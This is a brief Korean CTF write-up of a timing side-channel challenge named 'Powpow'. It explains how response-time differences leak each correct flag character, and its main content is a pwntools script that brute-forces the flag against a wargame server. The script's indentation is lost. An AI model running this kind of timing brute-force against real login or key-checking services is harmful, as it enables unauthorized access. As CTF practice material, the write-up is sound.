Powpow
- side channel attack 문제
- input 스트링으로 flag를 입력받는데 flag 글자 하나당 최대 4100 x 4100 = 16,810,000번 검사함.
- 중간에 flag에 맞는 글자가 나오면 검사 시간이 짧게 측정됨. 경과 시간을 바탕으로 flag 값 예측.
- 서버 시간이 들쑥날쑥이라 기준을 잘 세워야함.

from pwn import *
from time import *
context.log_level = 'debug'
real_key = ""
test_key = ""
save_time = 1.4
save_data = 0
_map = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789_!@#$%^&*(){}"
for cnt in range(25):
for word in _map:
avgtime = 0.0
test_key = real_key + word
if len(test_key) != 25 :
var = 25 - len(test_key)
test_key = test_key + "_" * var
s = remote("wargame.kimtae.xyz",10003)
s.sendline(test_key)
stime = time()
s.recvuntil("Wrong Password")
taketime = time() - stime
s.close()
print test_key
avgtime += taketime
if (avgtime > save_time):
save_time = avgtime + 0.65
save_data = word
print word , avgtime , save_time
break
else:
print word , avgtime , save_time
real_key += save_data
print real_key
f = open("aa.txt" , "a")
f.write(real_key)
f.close()
print real_key